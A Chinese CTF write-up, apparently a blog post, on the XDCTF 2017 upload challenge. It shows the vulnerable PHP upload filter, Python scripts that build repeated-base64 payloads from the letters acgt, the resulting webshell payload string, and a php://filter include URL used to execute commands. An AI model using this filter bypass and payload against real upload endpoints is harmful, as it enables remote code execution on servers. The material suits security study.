XDCTF中腦洞的upload題

這個(gè)題的解法是王一航大佬給我的啟發(fā)睦裳,可以膜一膜大佬的簡(jiǎn)書置逻,真的很6
附鏈接:http://www.reibang.com/u/bf30f18c872c

題目背景

這個(gè)題目可以通過php的偽協(xié)議直接讀取到源碼,難點(diǎn)就是源碼里的正則過濾券坞。本題將初acgt以外的所有字符全部去掉了。于是恨锚,我們無法上傳正常的木馬

<?php
error_reporting(0);
session_start();


if (isset($_FILES[file]) && $_FILES[file]['size'] < 65536) {
    $d = "./tmp/" . md5(session_id());
    @mkdir($d);
    $b = "$d/" . pathinfo($_FILES[file][name], 8);
    file_put_contents($b, preg_replace('/[^acgt]/is', '', file_get_contents($_FILES[file][tmp . "_name"])));
    echo $b;
}
?>

思路

看到王一航大佬在博客里提及用base64來解猴伶,恍然大悟。

base64特性

base64是有容錯(cuò)機(jī)制的他挎,可以嘗試一下
看下圖

base64的容錯(cuò)

這個(gè)圖办桨,我們首先測(cè)試了一下aaaa作為base64編碼時(shí)的源碼是多少,我們可以在圖中看到损姜。
之后,我們測(cè)試了iiii作為base64編碼時(shí)源碼是多少摧阅。最后我們使用aaaaaaaaaaaaaaaa作為base64編碼绷蹲,發(fā)現(xiàn)源碼和iiii相同。
這里娇跟,base64使用的字符只有64個(gè)太颤,除了這64個(gè)字符外,其他字符在解碼時(shí)會(huì)被忽略龄章,也就是之前所謂的容錯(cuò)性
那么乞封,利用這個(gè)特性肃晚,我們結(jié)合上面的例子仔戈,只能有a一個(gè)字符存在時(shí),我們可以通過base64的解碼监徘,創(chuàng)造出i,以此類推,當(dāng)解碼次數(shù)增多時(shí)墓卦,就可以通過極少的字符户敬,拓展到64個(gè)字符,進(jìn)而實(shí)現(xiàn)一切文字的base64編碼

實(shí)現(xiàn)

首先忠怖,我們先利用可以使用的acgtACGT來進(jìn)行排列組合抄瑟,來拓展字符,之后,反復(fù)利用往衷,來達(dá)到目的

list_use = 'acgtACGT'
can_see = 'QWERTYUIOPASDFGHJKLZXCVBNMqwertyuiopasdfghjklzxcvbnm0123456789+/='



def make_list(list_now,id):
    result = ''
    with open("./list_"+id+".txt","a+") as f:
        for i in list_now:
            for j in list_now:
                for k in list_now:
                    for l in list_now:
                        sourlist = i+j+k+l
                        ordlist = sourlist.decode("base64")
                        for z in ordlist:
                            if z in can_see:
                                result += z
                        if len(result) == 1:
                            f.writelines(sourlist+"******"+result+"\n")
                        result = ''

這里,我貼了一個(gè)函數(shù)布轿,編程方式采用了很簡(jiǎn)單来颤,很粗暴的方式,將排列組合的所以內(nèi)容寫入文件萝毛。簡(jiǎn)單粗暴,易懂笆包,雖然很low。庵佣。。通今。肛根。。
之后晶通,我們將文件里的內(nèi)容整理一下,就是不要出現(xiàn)重復(fù)的拓展字符

def do_list(id):
    a_list = ''
    with open("./list_"+id+".txt","rb") as f:
        x = f.read()
        x = x.split('\n')
        for i in x:
            sour = i.split('******')
            #print i
            #print sour
            mid_1 = sour[0]
            mid_2 = sour[1][0]
            if mid_2 not in a_list:
                a_list += mid_2
                with open("./list_do"+id+".txt","a+") as fb:
                    fb.writelines(mid_1+"******"+mid_2+"\n")
    return a_list

同樣簡(jiǎn)單粗暴一也,是不是很傻喉脖,很可愛。將整理完的文件另存

def change(id,ord_base):
    result = ''
    mid_1 = []
    mid_2 = []
    with open("./list_do"+id+".txt","rb") as f:
        x = f.read()
        x = x.split('\n')
        for i in x:
            sour = i.split('******')
            #print i
            #print sour
            mid_1.append(sour[0]) 
            mid_2.append(sour[1][0])
    for j in ord_base:
        num = mid_2.index(j)
        result += mid_1[num]
    return result

最后舆蝴,這個(gè)就是轉(zhuǎn)換的過程题诵,就是從目標(biāo)字符的base64編碼,向下轉(zhuǎn)換赠潦,直到只有acgt出現(xiàn)

結(jié)果

我得到了這個(gè)文件:

aaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatGgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaagatGaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaaaaagGcagTGaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaaTaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgattaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcTAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattgTaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaaAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgCtcaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaagGcagTGaaaaaaaaaaAaaaAaaaaaaaaaaaAaagatCaaaaaaaaaAaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaagatagCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgGaaaaaaaaaaaaaaaAaaagaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacAaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgGaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaaaaagGcagTGaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatCaaaaaaaaaAaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaagaaTAaaaaaaaaaagatGaaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgGaaaaaaaaaaaaaaaAaaaAaaaaaaaaaaaAaacaaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaTaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtcgatTaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaacgaaaaaaaaaaaAaaaAaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagattaaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaagataaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagGtccaaaaaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaaaaaaAaaTaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatTaaaaaaaaaaaaaAaaaAaaaaaaaaaaaAaagTaaaaaaaaaaaAaagTaaaaaaaaaaaAaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaaTaaaaaaaaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaagatGgatGgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaagatTaaaaagaagatagCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaagatCgCtcaaaaaaaaaAaacaaaaaaaaaaaaAaaaaaaaaaaaaaaaAaaagaaaaaaagaagattaaaa

各位可以把它base64解碼4次,就得到了我們需要的東西

解碼4次

那么哩俭,這就完成了

解題

因?yàn)槲抑饕プ⒁鈛pload.php了,所以凡资,沒有保存其他的源碼,本地復(fù)現(xiàn)诅岩,也就直接寫個(gè)頁面讳苦,include就行
那么我們將生成的文件名字設(shè)置為exp.php.txt带膜,這點(diǎn)比較簡(jiǎn)單
上傳上去就變成了exp.php

上傳

然后在包含的頁面,我們可以這樣寫
url如下:

http://127.0.0.1/2017xdctf/include.php?file=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=php://filter/convert.base64-decode/resource=./tmp/8a1b5fc5f0fe17e9ba8538a991871371/exp.php

結(jié)果:

dir執(zhí)行

可以看到鸳谜,dir命令執(zhí)行了

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末膝藕,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子咐扭,更是在濱河造成了極大的恐慌芭挽,老刑警劉巖,帶你破解...
    沈念sama閱讀 216,651評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件蝗肪,死亡現(xiàn)場(chǎng)離奇詭異袜爪,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)辛馆,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,468評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門昙篙,熙熙樓的掌柜王于貴愁眉苦臉地迎上來苔可,“玉大人焚辅,你說我怎么就攤上這事同蜻≡绱Γ” “怎么了陕赃?”我有些...
    開封第一講書人閱讀 162,931評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長(zhǎng)甘有。 經(jīng)常有香客問我,道長(zhǎng)忱反,這世上最難降的妖魔是什么温算? 我笑而不...
    開封第一講書人閱讀 58,218評(píng)論 1 292
  • 正文 為了忘掉前任注竿,我火速辦了婚禮巩割,結(jié)果婚禮上宣谈,老公的妹妹穿的比我還像新娘。我一直安慰自己漩怎,他們只是感情好扬卷,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,234評(píng)論 6 388
  • 文/花漫 我一把揭開白布怪得。 她就那樣靜靜地躺著徒恋,像睡著了一般入挣。 火紅的嫁衣襯著肌膚如雪径筏。 梳的紋絲不亂的頭發(fā)上障陶,一...
    開封第一講書人閱讀 51,198評(píng)論 1 299
  • 那天恢氯,我揣著相機(jī)與錄音勋拟,去河邊找鬼。 笑死挂滓,一個(gè)胖子當(dāng)著我的面吹牛杂彭,可吹牛的內(nèi)容都是我干的吓揪。 我是一名探鬼主播柠辞,決...
    沈念sama閱讀 40,084評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼习勤,長(zhǎng)吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼图毕!你這毒婦竟也來了眷唉?” 一聲冷哼從身側(cè)響起冬阳,我...
    開封第一講書人閱讀 38,926評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤肝陪,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后饲常,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體不皆,經(jīng)...
    沈念sama閱讀 45,341評(píng)論 1 311
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長(zhǎng)有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,563評(píng)論 2 333
  • 正文 我和宋清朗相戀三年犬耻,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了枕磁。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片计济。...
    茶點(diǎn)故事閱讀 39,731評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡沦寂,死狀恐怖传藏,靈堂內(nèi)的尸體忽然破棺而出毯侦,到底是詐尸還是另有隱情具垫,我是刑警寧澤筝蚕,帶...
    沈念sama閱讀 35,430評(píng)論 5 343
  • 正文 年R本政府宣布饰及,位于F島的核電站,受9級(jí)特大地震影響宾濒,放射性物質(zhì)發(fā)生泄漏绘梦。R本人自食惡果不足惜卸奉,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,036評(píng)論 3 326
  • 文/蒙蒙 一、第九天 我趴在偏房一處隱蔽的房頂上張望颖御。 院中可真熱鬧榄棵,春花似錦、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,676評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽。三九已至瘪弓,卻和暖如春垫蛆,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背腺怯。 一陣腳步聲響...
    開封第一講書人閱讀 32,829評(píng)論 1 269
  • 我被黑心中介騙來泰國(guó)打工袱饭, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人呛占。 一個(gè)月前我還...
    沈念sama閱讀 47,743評(píng)論 2 368
  • 正文 我出身青樓虑乖,卻偏偏與公主長(zhǎng)得像,于是被迫代替她去往敵國(guó)和親栓票。 傳聞我的和親對(duì)象是個(gè)殘疾皇子决左,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,629評(píng)論 2 354

推薦閱讀更多精彩內(nèi)容

  • 0x01 目錄 常見編碼: ASCII編碼 Base64/32/16編碼 shellcode編碼 Quoted-p...
    H0f_9閱讀 12,773評(píng)論 2 17
  • Android 自定義View的各種姿勢(shì)1 Activity的顯示之ViewRootImpl詳解 Activity...
    passiontim閱讀 172,079評(píng)論 25 707
  • CTF中那些腦洞大開的編碼和加密 0x00 前言 正文開始之前先閑扯幾句吧,玩CTF的小伙伴也許會(huì)遇到類似這樣的問...
    查無此人asdasd閱讀 6,004評(píng)論 0 19
  • 天使12班的小伙伴們你們好走贪,很高興通過易效能佛猛,通過天使班認(rèn)識(shí)你們,我的搭檔告訴我能夠相識(shí)的概率是五千分之一坠狡,相知的...
    haihai_2a56閱讀 250評(píng)論 2 3
  • 【五度重生】20171126 學(xué)習(xí)力踐行 D180 繪本:我會(huì)讀小白兔和小黑兔,語言啟蒙字詞訓(xùn)練假消,書寶寶生氣了,揭...
    彭祺涵閱讀 150評(píng)論 0 0